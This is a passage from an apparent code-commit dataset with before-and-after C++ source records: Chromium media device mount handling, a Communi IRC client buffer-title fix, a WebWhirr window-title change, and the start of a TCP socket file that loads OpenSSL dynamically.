disks::DiskMountManager::GetInstance()->FindDiskBySourcePath(source_path);\n if (!disk)\n return false;\n\n *unique_id = disk->fs_uuid();\n\n \/\/ TODO(kmadhusu): If device label is empty, extract vendor and model details\n \/\/ and use them as device_label.\n *device_label = UTF8ToUTF16(disk->device_label().empty() ?\n FilePath(source_path).BaseName().value() :\n disk->device_label());\n return true;\n}\n\n} \/\/ namespace\n\nusing content::BrowserThread;\n\nMediaDeviceNotifications::MediaDeviceNotifications() {\n DCHECK(disks::DiskMountManager::GetInstance());\n disks::DiskMountManager::GetInstance()->AddObserver(this);\n CheckExistingMountPointsOnUIThread();\n}\n\nMediaDeviceNotifications::~MediaDeviceNotifications() {\n disks::DiskMountManager* manager = disks::DiskMountManager::GetInstance();\n if (manager) {\n manager->RemoveObserver(this);\n }\n}\n\nvoid MediaDeviceNotifications::CheckExistingMountPointsOnUIThread() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n const disks::DiskMountManager::MountPointMap& mount_point_map =\n disks::DiskMountManager::GetInstance()->mount_points();\n for (disks::DiskMountManager::MountPointMap::const_iterator it =\n mount_point_map.begin(); it != mount_point_map.end(); ++it) {\n BrowserThread::PostTask(\n BrowserThread::FILE, FROM_HERE,\n base::Bind(&MediaDeviceNotifications::CheckMountedPathOnFileThread,\n this, it->second));\n }\n}\n\nvoid MediaDeviceNotifications::DiskChanged(\n disks::DiskMountManagerEventType event,\n const disks::DiskMountManager::Disk* disk) {\n}\n\nvoid MediaDeviceNotifications::DeviceChanged(\n disks::DiskMountManagerEventType event,\n const std::string& device_path) {\n}\n\nvoid MediaDeviceNotifications::MountCompleted(\n disks::DiskMountManager::MountEvent event_type,\n MountError error_code,\n const disks::DiskMountManager::MountPointInfo& mount_info) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n \/\/ Ignore mount points that are not devices.\n if (mount_info.mount_type != MOUNT_TYPE_DEVICE)\n return;\n \/\/ Ignore errors.\n if (error_code != MOUNT_ERROR_NONE)\n return;\n if (mount_info.mount_condition != disks::MOUNT_CONDITION_NONE)\n return;\n\n switch (event_type) {\n case disks::DiskMountManager::MOUNTING: {\n if (ContainsKey(mount_map_, mount_info.mount_path)) {\n NOTREACHED();\n return;\n }\n\n BrowserThread::PostTask(\n BrowserThread::FILE, FROM_HERE,\n base::Bind(&MediaDeviceNotifications::CheckMountedPathOnFileThread,\n this, mount_info));\n break;\n }\n case disks::DiskMountManager::UNMOUNTING: {\n MountMap::iterator it = mount_map_.find(mount_info.mount_path);\n if (it == mount_map_.end())\n return;\n base::SystemMonitor::Get()->ProcessRemovableStorageDetached(it->second);\n mount_map_.erase(it);\n break;\n }\n }\n}\n\nvoid MediaDeviceNotifications::CheckMountedPathOnFileThread(\n const disks::DiskMountManager::MountPointInfo& mount_info) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n\n if (!chrome::IsMediaDevice(mount_info.mount_path))\n return;\n\n BrowserThread::PostTask(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&MediaDeviceNotifications::AddMountedPathOnUIThread,\n this, mount_info));\n}\n\nvoid MediaDeviceNotifications::AddMountedPathOnUIThread(\n const disks::DiskMountManager::MountPointInfo& mount_info) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n if (ContainsKey(mount_map_, mount_info.mount_path)) {\n NOTREACHED();\n return;\n }\n\n \/\/ Get the media device uuid and label if exists.\n std::string unique_id;\n string16 device_label;\n if (!GetDeviceInfo(mount_info.source_path, &unique_id, &device_label))\n return;\n\n \/\/ Keep track of device uuid, to see how often we receive empty uuid values.\n UMA_HISTOGRAM_BOOLEAN(\"MediaDeviceNotification.DeviceUUIDAvailable\",\n !unique_id.empty());\n if (unique_id.empty())\n return;\n\n std::string device_id = chrome::MediaStorageUtil::MakeDeviceId(\n chrome::MediaStorageUtil::REMOVABLE_MASS_STORAGE_WITH_DCIM, unique_id);\n mount_map_.insert(std::make_pair(mount_info.mount_path, device_id));\n base::SystemMonitor::Get()->ProcessRemovableStorageAttached(\n device_id,\n device_label,\n mount_info.mount_path);\n}\n\n} \/\/ namespace chrome\n<|endoftext|>"} {"text":"<commit_before>\/*\n* Copyright (C) 2008-2013 The Communi Project\n*\n* This program is free software; you can redistribute it and\/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation; either version 2 of the License, or\n* (at your option) any later version.\n*\n* This program is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU General Public License for more details.\n*\/\n\n#include \"messagestackview.h\"\n#include \"settingsmodel.h\"\n#include \"application.h\"\n#include \"zncmanager.h\"\n#include \"completer.h\"\n#include \"session.h\"\n#include <ircbuffer.h>\n#include <irccommand.h>\n#include <ircbuffermodel.h>\n\nclass BufferModel : public IrcBufferModel\n{\npublic:\n BufferModel(QObject* parent = 0) : IrcBufferModel(parent) { }\n\nprotected:\n void destroyBuffer(IrcBuffer* buffer) { Q_UNUSED(buffer); }\n};\n\nMessageStackView::MessageStackView(IrcSession* session, QWidget* parent) : QStackedWidget(parent)\n{\n d.session = session;\n\n d.bufferModel = new BufferModel(session);\n connect(d.bufferModel, SIGNAL(bufferAdded(IrcBuffer*)), this, SLOT(setBuffer(IrcBuffer*)));\n connect(d.bufferModel, SIGNAL(messageIgnored(IrcMessage*)), &d.handler, SLOT(handleMessage(IrcMessage*)));\n connect(d.bufferModel, SIGNAL(channelsChanged(QStringList)), &d.parser, SLOT(setChannels(QStringList)));\n\n session->installMessageFilter(&d.handler);\n session->installMessageFilter(qobject_cast<Session*>(session)); \/\/ TODO\n d.handler.znc()->setModel(d.bufferModel);\n\n connect(this, SIGNAL(currentChanged(int)), this, SLOT(activateView(int)));\n\n connect(&d.handler, SIGNAL(viewToBeAdded(QString)), this, SLOT(addView(QString)));\n connect(&d.handler, SIGNAL(viewToBeRemoved(QString)), this, SLOT(removeView(QString)));\n connect(&d.handler, SIGNAL(viewToBeRenamed(QString, QString)), this, SLOT(renameView(QString, QString)));\n\n MessageView* view = addView(session->host());\n d.handler.setDefaultView(view);\n d.handler.setCurrentView(view);\n setCurrentWidget(view);\n\n applySettings();\n connect(Application::settings(), SIGNAL(changed()), this, SLOT(applySettings()));\n}\n\nIrcSession* MessageStackView::session() const\n{\n return d.session;\n}\n\nCommandParser* MessageStackView::parser() const\n{\n return &const_cast<MessageStackView*>(this)->d.parser;\n}\n\nQStringListModel* MessageStackView::commandModel() const\n{\n return &const_cast<MessageStackView*>(this)->d.commandModel;\n}\n\nMessageView* MessageStackView::currentView() const\n{\n return qobject_cast<MessageView*>(currentWidget());\n}\n\nMessageView* MessageStackView::viewAt(int index) const\n{\n return qobject_cast<MessageView*>(widget(index));\n}\n\nMessageView* MessageStackView::addView(const QString& receiver)\n{\n MessageView* view = d.views.value(receiver.toLower());\n bool channel = !receiver.isEmpty() && IrcSessionInfo(d.session).channelTypes().contains(receiver.at(0));\n if (!view) {\n ViewInfo::Type type = ViewInfo::Server;\n if (!d.views.isEmpty())\n type = channel ? ViewInfo::Channel : ViewInfo::Query;\n view = createView(type, receiver);\n }\n if (channel && !view->isActive())\n openView(receiver);\n return view;\n}\n\nvoid MessageStackView::restoreView(const ViewInfo& view)\n{\n createView(static_cast<ViewInfo::Type>(view.type), view.name);\n}\n\nMessageView* MessageStackView::createView(ViewInfo::Type type, const QString& receiver)\n{\n MessageView* view = new MessageView(type, static_cast<Session*>(d.session), this); \/\/ TODO\n \/\/ TODO:\n if (IrcSessionInfo(session()).isValid())\n view->completer()->setChannelPrefixes(IrcSessionInfo(session()).channelTypes().join(\"\"));\n view->completer()->setChannelModel(&d.viewModel);\n view->setReceiver(receiver);\n connect(view, SIGNAL(queried(QString)), this, SLOT(addView(QString)));\n connect(view, SIGNAL(queried(QString)), this, SLOT(openView(QString)));\n connect(view, SIGNAL(messaged(QString,QString)), this, SLOT(sendMessage(QString,QString)));\n\n d.handler.addView(receiver, view);\n d.views.insert(receiver.toLower(), view);\n addWidget(view);\n d.viewModel.setStringList(d.viewModel.stringList() << receiver);\n emit viewAdded(view);\n return view;\n}\n\nvoid MessageStackView::openView(const QString& receiver)\n{\n MessageView* view = d.views.value(receiver.toLower());\n if (view)\n setCurrentWidget(view);\n}\n\nvoid MessageStackView::removeView(const QString& receiver)\n{\n MessageView* view = d.views.take(receiver.toLower());\n if (view) {\n view->deleteLater();\n QStringList views = d.viewModel.stringList();\n if (views.removeOne(receiver))\n d.viewModel.setStringList(views);\n emit viewRemoved(view);\n d.handler.removeView(view->receiver());\n }\n}\n\nvoid MessageStackView::closeView(int index)\n{\n MessageView* view = viewAt(index);\n if (view) {\n if (view->isActive()) {\n if (indexOf(view) == 0)\n static_cast<Session*>(session())->quit(); \/\/ TODO\n else if (view->viewType() == ViewInfo::Channel)\n d.session->sendCommand(IrcCommand::createPart(view->receiver()));\n }\n d.handler.removeView(view->receiver());\n }\n}\n\nvoid MessageStackView::renameView(const QString& from, const QString& to)\n{\n if (!d.views.contains(to.toLower())) {\n MessageView* view = d.views.take(from.toLower());\n if (view) {\n view->setReceiver(to);\n d.views.insert(to.toLower(), view);\n emit viewRenamed(view);\n }\n } else if (currentView() == d.views.value(from.toLower())) {\n setCurrentWidget(d.views.value(to.toLower()));\n }\n}\n\nvoid MessageStackView::sendMessage(const QString& receiver, const QString& message)\n{\n MessageView* view = addView(receiver);\n if (view) {\n setCurrentWidget(view);\n view->sendMessage(message);\n }\n}\n\nvoid MessageStackView::applySettings()\n{\n SettingsModel* settings = Application::settings();\n d.handler.znc()->setTimeStampFormat(settings->value(\"formatting.timeStamp\").toString());\n\n QMap<QString,QString> aliases;\n QVariantMap values = settings->values(\"aliases.*\");\n QMapIterator<QString,QVariant> it(values);\n while (it.hasNext()) {\n it.next();\n aliases[it.key().mid(8).toUpper()] = it.value().toString();\n }\n d.parser.setAliases(aliases);\n\n QStringList commands;\n foreach (const QString& command, d.parser.availableCommands())\n commands += d.parser.prefix() + command;\n d.commandModel.setStringList(commands);\n}\n\nvoid MessageStackView::activateView(int index)\n{\n MessageView* view = viewAt(index);\n if (view && isVisible()) {\n d.handler.setCurrentView(view);\n d.parser.setCurrentTarget(view->receiver());\n view->setFocus();\n emit viewActivated(view);\n }\n}\n\nvoid MessageStackView::setBuffer(IrcBuffer* buffer)\n{\n MessageView* view = addView(buffer->title().toLower());\n if (view)\n view->setBuffer(buffer);\n}\n<commit_msg>Fix MessageStackView::setBuffer() not to force lower case title<commit_after>\/*\n* Copyright (C) 2008-2013 The Communi Project\n*\n* This program is free software; you can redistribute it and\/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation; either version 2 of the License, or\n* (at your option) any later version.\n*\n* This program is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU General Public License for more details.\n*\/\n\n#include \"messagestackview.h\"\n#include \"settingsmodel.h\"\n#include \"application.h\"\n#include \"zncmanager.h\"\n#include \"completer.h\"\n#include \"session.h\"\n#include <ircbuffer.h>\n#include <irccommand.h>\n#include <ircbuffermodel.h>\n\nclass BufferModel : public IrcBufferModel\n{\npublic:\n BufferModel(QObject* parent = 0) : IrcBufferModel(parent) { }\n\nprotected:\n void destroyBuffer(IrcBuffer* buffer) { Q_UNUSED(buffer); }\n};\n\nMessageStackView::MessageStackView(IrcSession* session, QWidget* parent) : QStackedWidget(parent)\n{\n d.session = session;\n\n d.bufferModel = new BufferModel(session);\n connect(d.bufferModel, SIGNAL(bufferAdded(IrcBuffer*)), this, SLOT(setBuffer(IrcBuffer*)));\n connect(d.bufferModel, SIGNAL(messageIgnored(IrcMessage*)), &d.handler, SLOT(handleMessage(IrcMessage*)));\n connect(d.bufferModel, SIGNAL(channelsChanged(QStringList)), &d.parser, SLOT(setChannels(QStringList)));\n\n session->installMessageFilter(&d.handler);\n session->installMessageFilter(qobject_cast<Session*>(session)); \/\/ TODO\n d.handler.znc()->setModel(d.bufferModel);\n\n connect(this, SIGNAL(currentChanged(int)), this, SLOT(activateView(int)));\n\n connect(&d.handler, SIGNAL(viewToBeAdded(QString)), this, SLOT(addView(QString)));\n connect(&d.handler, SIGNAL(viewToBeRemoved(QString)), this, SLOT(removeView(QString)));\n connect(&d.handler, SIGNAL(viewToBeRenamed(QString, QString)), this, SLOT(renameView(QString, QString)));\n\n MessageView* view = addView(session->host());\n d.handler.setDefaultView(view);\n d.handler.setCurrentView(view);\n setCurrentWidget(view);\n\n applySettings();\n connect(Application::settings(), SIGNAL(changed()), this, SLOT(applySettings()));\n}\n\nIrcSession* MessageStackView::session() const\n{\n return d.session;\n}\n\nCommandParser* MessageStackView::parser() const\n{\n return &const_cast<MessageStackView*>(this)->d.parser;\n}\n\nQStringListModel* MessageStackView::commandModel() const\n{\n return &const_cast<MessageStackView*>(this)->d.commandModel;\n}\n\nMessageView* MessageStackView::currentView() const\n{\n return qobject_cast<MessageView*>(currentWidget());\n}\n\nMessageView* MessageStackView::viewAt(int index) const\n{\n return qobject_cast<MessageView*>(widget(index));\n}\n\nMessageView* MessageStackView::addView(const QString& receiver)\n{\n MessageView* view = d.views.value(receiver.toLower());\n bool channel = !receiver.isEmpty() && IrcSessionInfo(d.session).channelTypes().contains(receiver.at(0));\n if (!view) {\n ViewInfo::Type type = ViewInfo::Server;\n if (!d.views.isEmpty())\n type = channel ? ViewInfo::Channel : ViewInfo::Query;\n view = createView(type, receiver);\n }\n if (channel && !view->isActive())\n openView(receiver);\n return view;\n}\n\nvoid MessageStackView::restoreView(const ViewInfo& view)\n{\n createView(static_cast<ViewInfo::Type>(view.type), view.name);\n}\n\nMessageView* MessageStackView::createView(ViewInfo::Type type, const QString& receiver)\n{\n MessageView* view = new MessageView(type, static_cast<Session*>(d.session), this); \/\/ TODO\n \/\/ TODO:\n if (IrcSessionInfo(session()).isValid())\n view->completer()->setChannelPrefixes(IrcSessionInfo(session()).channelTypes().join(\"\"));\n view->completer()->setChannelModel(&d.viewModel);\n view->setReceiver(receiver);\n connect(view, SIGNAL(queried(QString)), this, SLOT(addView(QString)));\n connect(view, SIGNAL(queried(QString)), this, SLOT(openView(QString)));\n connect(view, SIGNAL(messaged(QString,QString)), this, SLOT(sendMessage(QString,QString)));\n\n d.handler.addView(receiver, view);\n d.views.insert(receiver.toLower(), view);\n addWidget(view);\n d.viewModel.setStringList(d.viewModel.stringList() << receiver);\n emit viewAdded(view);\n return view;\n}\n\nvoid MessageStackView::openView(const QString& receiver)\n{\n MessageView* view = d.views.value(receiver.toLower());\n if (view)\n setCurrentWidget(view);\n}\n\nvoid MessageStackView::removeView(const QString& receiver)\n{\n MessageView* view = d.views.take(receiver.toLower());\n if (view) {\n view->deleteLater();\n QStringList views = d.viewModel.stringList();\n if (views.removeOne(receiver))\n d.viewModel.setStringList(views);\n emit viewRemoved(view);\n d.handler.removeView(view->receiver());\n }\n}\n\nvoid MessageStackView::closeView(int index)\n{\n MessageView* view = viewAt(index);\n if (view) {\n if (view->isActive()) {\n if (indexOf(view) == 0)\n static_cast<Session*>(session())->quit(); \/\/ TODO\n else if (view->viewType() == ViewInfo::Channel)\n d.session->sendCommand(IrcCommand::createPart(view->receiver()));\n }\n d.handler.removeView(view->receiver());\n }\n}\n\nvoid MessageStackView::renameView(const QString& from, const QString& to)\n{\n if (!d.views.contains(to.toLower())) {\n MessageView* view = d.views.take(from.toLower());\n if (view) {\n view->setReceiver(to);\n d.views.insert(to.toLower(), view);\n emit viewRenamed(view);\n }\n } else if (currentView() == d.views.value(from.toLower())) {\n setCurrentWidget(d.views.value(to.toLower()));\n }\n}\n\nvoid MessageStackView::sendMessage(const QString& receiver, const QString& message)\n{\n MessageView* view = addView(receiver);\n if (view) {\n setCurrentWidget(view);\n view->sendMessage(message);\n }\n}\n\nvoid MessageStackView::applySettings()\n{\n SettingsModel* settings = Application::settings();\n d.handler.znc()->setTimeStampFormat(settings->value(\"formatting.timeStamp\").toString());\n\n QMap<QString,QString> aliases;\n QVariantMap values = settings->values(\"aliases.*\");\n QMapIterator<QString,QVariant> it(values);\n while (it.hasNext()) {\n it.next();\n aliases[it.key().mid(8).toUpper()] = it.value().toString();\n }\n d.parser.setAliases(aliases);\n\n QStringList commands;\n foreach (const QString& command, d.parser.availableCommands())\n commands += d.parser.prefix() + command;\n d.commandModel.setStringList(commands);\n}\n\nvoid MessageStackView::activateView(int index)\n{\n MessageView* view = viewAt(index);\n if (view && isVisible()) {\n d.handler.setCurrentView(view);\n d.parser.setCurrentTarget(view->receiver());\n view->setFocus();\n emit viewActivated(view);\n }\n}\n\nvoid MessageStackView::setBuffer(IrcBuffer* buffer)\n{\n MessageView* view = addView(buffer->title());\n if (view)\n view->setBuffer(buffer);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <QMainWindow>\n#include <QFileDialog>\n#include <QString>\n#include <QBoxLayout>\n#include <QLabel>\n#include <QMessageBox>\n\n#include \"mainwindow.h\"\n#include \"parser\/htmlreader.h\"\n#include \"painter\/paintarea.h\"\n\n#define WINDOW_HEIGHT 480\n\nMainWindow::MainWindow()\n{\n reader = new HTMLReader;\n webpage = new Document;\n\n \/\/Draw main window for WebWhirr.\n setMinimumHeight(WINDOW_HEIGHT);\n setMaximumHeight(WINDOW_HEIGHT);\n\n positionSet = false;\n\n QLabel *addressBarLabel = new QLabel(tr(\"Current Document:\"));\n addressBar = new QLineEdit;\n addressBar->setReadOnly(true);\n\n QHBoxLayout *addressBarLayout = new QHBoxLayout;\n addressBarLayout->addWidget(addressBarLabel);\n addressBarLayout->addWidget(addressBar);\n\n paintArea = new PaintArea;\n scrollArea = new QScrollArea(this);\n documentDisplay = new QLabel(scrollArea);\n\n documentDisplay->setAlignment(Qt::AlignTop | Qt::AlignLeft);\n\n scrollArea->setWidget(documentDisplay);\n scrollArea->setWidgetResizable(true);\n\n QVBoxLayout *layout = new QVBoxLayout;\n layout->addLayout(addressBarLayout);\n layout->addWidget(scrollArea);\n\n centralLayout = new QWidget;\n centralLayout->setLayout(layout);\n\n setCentralWidget(centralLayout);\n\n createActions();\n createMenus();\n\n setWindowTitle(\"WebWhirr 0.1.0 Beta\");\n\n}\n\nvoid MainWindow::createActions()\n{\n openAct = new QAction(tr(\"&Open\"), this);\n openAct->setShortcut(QKeySequence::Open);\n\n connect(openAct, SIGNAL(triggered()), this, SLOT(setFilepath()));\n}\n\nvoid MainWindow::createMenus()\n{\n fileMenu = menuBar()->addMenu(tr(\"&File\"));\n fileMenu->addAction(openAct);\n}\n\nbool MainWindow::setFilepath(std::string filepath)\n{\n if (!checkFilepath(filepath))\n {\n return false;\n }\n else\n {\n \/\/Construct a Document (contains node tree) from parsing document\n \/\/passed from command line.\n webpage = reader->prepareDocument(filepath);\n addressBar->setText(QString::fromStdString(filepath));\n\n paintArea->setDocument(webpage);\n }\n\n return true;\n}\n\nbool MainWindow::setFilepath()\n{\n \/\/QString::toStdString() doesn't convert the filepath properly\n std::string filepath = QFileDialog::getOpenFileName(this,\n tr(\"Open HTML Document\")).toUtf8().constData();\n if (filepath.empty())\n {\n return false;\n }\n\n if (!checkFilepath(filepath))\n {\n QMessageBox invalidTypeErrorBox;\n invalidTypeErrorBox.setText(\"Error: Document type is invalid or not supported.\");\n invalidTypeErrorBox.exec();\n return false;\n }\n\n else\n {\n \/\/Delete any old nodes to avoid memory leaks.\n if (webpage->getFirstNode() != NULL)\n {\n webpage->clearTree();\n }\n\n addressBar->setText(QString::fromStdString(filepath));\n\n\n \/\/Construct a Document (contains node tree) from parsing document\n \/\/selected in \"Open HTML Document\" dialog.\n webpage = reader->prepareDocument(filepath);\n\n paintArea->setDocument(webpage);\n\n return repaintDocument();\n }\n}\n\n\/\/This entire function is a mess. I will return and work\n\/\/on it more after the 0.1.0 release.\nbool MainWindow::repaintDocument()\n{\n \/\/Paint the current document in paintArea by creating a QPixmap\n \/\/and assigning this to the QLabel documentDisplay. Dimensions\n \/\/are also set to avoid annoying issues with the scrollbars.\n QPixmap paintedDocument;\n\n \/\/grab() has to be called twice. Otherwise, the pixmap is the wrong\n \/\/size when the document is first displayed and the document has to\n \/\/be opened twice in order to scroll through it properly.\n paintedDocument = paintArea->grab();\n paintedDocument.scaled(paintArea->size(), Qt::IgnoreAspectRatio);\n paintedDocument = paintArea->grab();\n\n documentDisplay->setMinimumWidth(paintedDocument.width());\n documentDisplay->setMaximumWidth(paintedDocument.width());\n documentDisplay->setMaximumHeight(paintArea->height());\n\n documentDisplay->setPixmap(paintedDocument);\n scrollArea->setMinimumWidth(documentDisplay->width() + 20);\n this->setMinimumWidth(scrollArea->width() + 20);\n this->setMaximumWidth(scrollArea->width() + 20);\n\n return true;\n}\n\nbool MainWindow::checkFilepath(std::string filepath)\n{\n \/\/This is a fix for the crash on opening a non-HTML document.\n \/\/It will have to do until I write a check into the encoding,\n \/\/because for some reason a similar check in the document text\n \/\/itself always returns true.\n if (filepath.find(\".html\") != std::string::npos ||\n filepath.find(\".htm\") != std::string::npos)\n {\n return true;\n }\n\n return false;\n}\n\nDocument* MainWindow::getWebpage()\n{\n return webpage;\n}\n<commit_msg>Update name in title bar to WebWhirr 0.1.0 instead of WebWhirr 0.1.0 Beta.<commit_after>#include <QMainWindow>\n#include <QFileDialog>\n#include <QString>\n#include <QBoxLayout>\n#include <QLabel>\n#include <QMessageBox>\n\n#include \"mainwindow.h\"\n#include \"parser\/htmlreader.h\"\n#include \"painter\/paintarea.h\"\n\n#define WINDOW_HEIGHT 480\n\nMainWindow::MainWindow()\n{\n reader = new HTMLReader;\n webpage = new Document;\n\n \/\/Draw main window for WebWhirr.\n setMinimumHeight(WINDOW_HEIGHT);\n setMaximumHeight(WINDOW_HEIGHT);\n\n positionSet = false;\n\n QLabel *addressBarLabel = new QLabel(tr(\"Current Document:\"));\n addressBar = new QLineEdit;\n addressBar->setReadOnly(true);\n\n QHBoxLayout *addressBarLayout = new QHBoxLayout;\n addressBarLayout->addWidget(addressBarLabel);\n addressBarLayout->addWidget(addressBar);\n\n paintArea = new PaintArea;\n scrollArea = new QScrollArea(this);\n documentDisplay = new QLabel(scrollArea);\n\n documentDisplay->setAlignment(Qt::AlignTop | Qt::AlignLeft);\n\n scrollArea->setWidget(documentDisplay);\n scrollArea->setWidgetResizable(true);\n\n QVBoxLayout *layout = new QVBoxLayout;\n layout->addLayout(addressBarLayout);\n layout->addWidget(scrollArea);\n\n centralLayout = new QWidget;\n centralLayout->setLayout(layout);\n\n setCentralWidget(centralLayout);\n\n createActions();\n createMenus();\n\n setWindowTitle(\"WebWhirr 0.1.0\");\n\n}\n\nvoid MainWindow::createActions()\n{\n openAct = new QAction(tr(\"&Open\"), this);\n openAct->setShortcut(QKeySequence::Open);\n\n connect(openAct, SIGNAL(triggered()), this, SLOT(setFilepath()));\n}\n\nvoid MainWindow::createMenus()\n{\n fileMenu = menuBar()->addMenu(tr(\"&File\"));\n fileMenu->addAction(openAct);\n}\n\nbool MainWindow::setFilepath(std::string filepath)\n{\n if (!checkFilepath(filepath))\n {\n return false;\n }\n else\n {\n \/\/Construct a Document (contains node tree) from parsing document\n \/\/passed from command line.\n webpage = reader->prepareDocument(filepath);\n addressBar->setText(QString::fromStdString(filepath));\n\n paintArea->setDocument(webpage);\n }\n\n return true;\n}\n\nbool MainWindow::setFilepath()\n{\n \/\/QString::toStdString() doesn't convert the filepath properly\n std::string filepath = QFileDialog::getOpenFileName(this,\n tr(\"Open HTML Document\")).toUtf8().constData();\n if (filepath.empty())\n {\n return false;\n }\n\n if (!checkFilepath(filepath))\n {\n QMessageBox invalidTypeErrorBox;\n invalidTypeErrorBox.setText(\"Error: Document type is invalid or not supported.\");\n invalidTypeErrorBox.exec();\n return false;\n }\n\n else\n {\n \/\/Delete any old nodes to avoid memory leaks.\n if (webpage->getFirstNode() != NULL)\n {\n webpage->clearTree();\n }\n\n addressBar->setText(QString::fromStdString(filepath));\n\n\n \/\/Construct a Document (contains node tree) from parsing document\n \/\/selected in \"Open HTML Document\" dialog.\n webpage = reader->prepareDocument(filepath);\n\n paintArea->setDocument(webpage);\n\n return repaintDocument();\n }\n}\n\n\/\/This entire function is a mess. I will return and work\n\/\/on it more after the 0.1.0 release.\nbool MainWindow::repaintDocument()\n{\n \/\/Paint the current document in paintArea by creating a QPixmap\n \/\/and assigning this to the QLabel documentDisplay. Dimensions\n \/\/are also set to avoid annoying issues with the scrollbars.\n QPixmap paintedDocument;\n\n \/\/grab() has to be called twice. Otherwise, the pixmap is the wrong\n \/\/size when the document is first displayed and the document has to\n \/\/be opened twice in order to scroll through it properly.\n paintedDocument = paintArea->grab();\n paintedDocument.scaled(paintArea->size(), Qt::IgnoreAspectRatio);\n paintedDocument = paintArea->grab();\n\n documentDisplay->setMinimumWidth(paintedDocument.width());\n documentDisplay->setMaximumWidth(paintedDocument.width());\n documentDisplay->setMaximumHeight(paintArea->height());\n\n documentDisplay->setPixmap(paintedDocument);\n scrollArea->setMinimumWidth(documentDisplay->width() + 20);\n this->setMinimumWidth(scrollArea->width() + 20);\n this->setMaximumWidth(scrollArea->width() + 20);\n\n return true;\n}\n\nbool MainWindow::checkFilepath(std::string filepath)\n{\n \/\/This is a fix for the crash on opening a non-HTML document.\n \/\/It will have to do until I write a check into the encoding,\n \/\/because for some reason a similar check in the document text\n \/\/itself always returns true.\n if (filepath.find(\".html\") != std::string::npos ||\n filepath.find(\".htm\") != std::string::npos)\n {\n return true;\n }\n\n return false;\n}\n\nDocument* MainWindow::getWebpage()\n{\n return webpage;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <io\/network\/tcpSocket.h>\n#include <logging.h>\n\n#ifdef _WIN32\n#include <winsock2.h>\n#include <ws2tcpip.h>\nstatic constexpr int flags = 0;\n\nstatic inline int send(SOCKET s, const void* msg, size_t len, int flags)\n{\n return send(s, static_cast<const char*>(msg), static_cast<int>(len), flags);\n}\n\nstatic inline int recv(SOCKET s, void* buf, size_t len, int flags)\n{\n return recv(s, static_cast<char*>(buf), static_cast<int>(len), flags);\n}\n\n#else\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <unistd.h>\n#include <netinet\/in.h>\n#include <netinet\/tcp.h>\n#include <arpa\/inet.h>\n#include <string.h>\nstatic constexpr int flags = MSG_NOSIGNAL;\nstatic constexpr intptr_t INVALID_SOCKET = -1;\n#endif\n\n\nextern \"C\" {\n struct X509;\n struct X509_STORE;\n struct SSL_CTX;\n struct SSL_METHOD;\n struct SSL;\n\n static X509_STORE* (*X509_STORE_new)();\n static X509* (*d2i_X509)(X509**, const unsigned char **, long);\n static int (*X509_STORE_add_cert)(X509_STORE*, X509*);\n static void (*X509_free)(X509*);\n static SSL_CTX* (*SSL_CTX_new)(const SSL_METHOD*);\n static const SSL_METHOD* (*TLSv1_2_client_method)();\n static long (*SSL_CTX_set_options)(SSL_CTX*, long);\n static int (*SSL_CTX_set_default_verify_paths)(SSL_CTX*);\n static void (*SSL_CTX_set_cert_store)(SSL_CTX*, X509_STORE*);\n static SSL* (*SSL_new)(SSL_CTX*);\n static int (*SSL_set_fd)(SSL *ssl, int fd);\n static int (*SSL_connect)(SSL *ssl);\n static long (*SSL_get_verify_result)(const SSL *ssl);\n static int (*SSL_read)(SSL *ssl, void *buf, int num);\n static int (*SSL_write)(SSL *ssl, const void *buf, int num);\n static void (*SSL_free)(SSL *ssl);\n \n static SSL_CTX* ssl_context;\n}\n\n# define SSL_OP_NO_SSLv2 0x01000000L\n# define SSL_OP_NO_SSLv3 0x02000000L\n# define SSL_OP_NO_TLSv1 0x04000000L\n# define SSL_OP_NO_TLSv1_2 0x08000000L\n# define SSL_OP_NO_TLSv1_1 0x10000000L\n\n#ifndef __ANDROID__\n#include \"dynamicLibrary.h\"\n\nstatic std::unique_ptr<DynamicLibrary> libcrypto;\nstatic std::unique_ptr<DynamicLibrary> libssl;\n#endif\n\nstatic void initializeLibSSL()\n{\n static bool initialized = false;\n if (initialized) return;\n initialized = true;\n\n#ifndef __ANDROID__\n#ifdef _WIN32\n libcrypto = DynamicLibrary::open(\"libcrypto-1_1.dll\");\n libssl = DynamicLibrary::open(\"libssl-1_1.dll\");\n#else\n libcrypto = DynamicLibrary::open(\"libcrypto.so.1.1\");\n libssl = DynamicLibrary::open(\"libssl.so.1.1\");\n#endif\n if (!libcrypto || !libssl)\n return;\n\n X509_STORE_new = libcrypto->getFunction<X509_STORE*(*)()>(\"X509_STORE_new\");\n d2i_X509 = libcrypto->getFunction<X509* (*)(X509**, const unsigned char **, long)>(\"d2i_X509\");\n X509_STORE_add_cert = libcrypto->getFunction<int (*)(X509_STORE*, X509*)>(\"X509_STORE_add_cert\");\n X509_free = libcrypto->getFunction<void (*)(X509*)>(\"X509_free\");\n\n SSL_CTX_new = libssl->getFunction<SSL_CTX*(*)(const SSL_METHOD*)>(\"SSL_CTX_new\");\n TLSv1_2_client_method = libssl->getFunction<const SSL_METHOD* (*)()>(\"TLSv1_2_client_method\");\n SSL_CTX_set_options = libssl->getFunction<long (*)(SSL_CTX*, long)>(\"SSL_CTX_set_options\");\n SSL_CTX_set_default_verify_paths = libssl->getFunction<int (*)(SSL_CTX*)>(\"SSL_CTX_set_default_verify_paths\");\n SSL_CTX_set_cert_store = libssl->getFunction<void (*)(SSL_CTX*, X509_STORE*)>(\"SSL_CTX_set_cert_store\");\n SSL_new = libssl->getFunction<SSL* (*)(SSL_CTX*)>(\"SSL_new\");\n SSL_set_fd = libssl->getFunction<int (*)(SSL *ssl, int fd)>(\"SSL_set_fd\");\n SSL_connect = libssl->getFunction<int (*)(SSL 